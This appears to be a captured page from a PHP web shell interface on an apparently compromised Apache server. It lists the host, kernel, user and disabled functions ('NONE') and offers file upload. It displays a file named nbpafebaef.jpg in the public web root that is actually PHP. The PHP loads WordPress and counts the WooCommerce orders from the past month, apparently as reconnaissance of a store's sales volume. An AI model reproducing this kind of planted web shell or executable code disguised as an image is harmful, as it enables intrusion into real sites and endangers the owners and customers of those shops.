HEX
Server: Apache/2.4.56 (Unix) OpenSSL/1.0.2k-fips
System: Linux host.nohasslegoals.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User: nohass (1001)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/nohass/public_html/nbpafebaef.jpg
<?php include $_SERVER['DOCUMENT_ROOT']."/wp-load.php";
global $wpdb;
$results = $wpdb->get_var("
    SELECT COUNT(*) FROM {$wpdb->posts}
    WHERE post_type = 'shop_order'
    AND post_date >= DATE_SUB(NOW(), INTERVAL 1 MONTH)
");
$start_date = date( 'Y-m-d H:i:s', strtotime('-30 days'));
$end_date   = date('Y-m-d H:i:s');
$args = array(
    'limit'        => -1,
    'return'       => 'ids',
    'date_created' => $start_date . '...' . $end_date
);
$orders = wc_get_orders($args);
$order_count = count($orders);

echo 'order num:'.$results.' '.$order_count;?>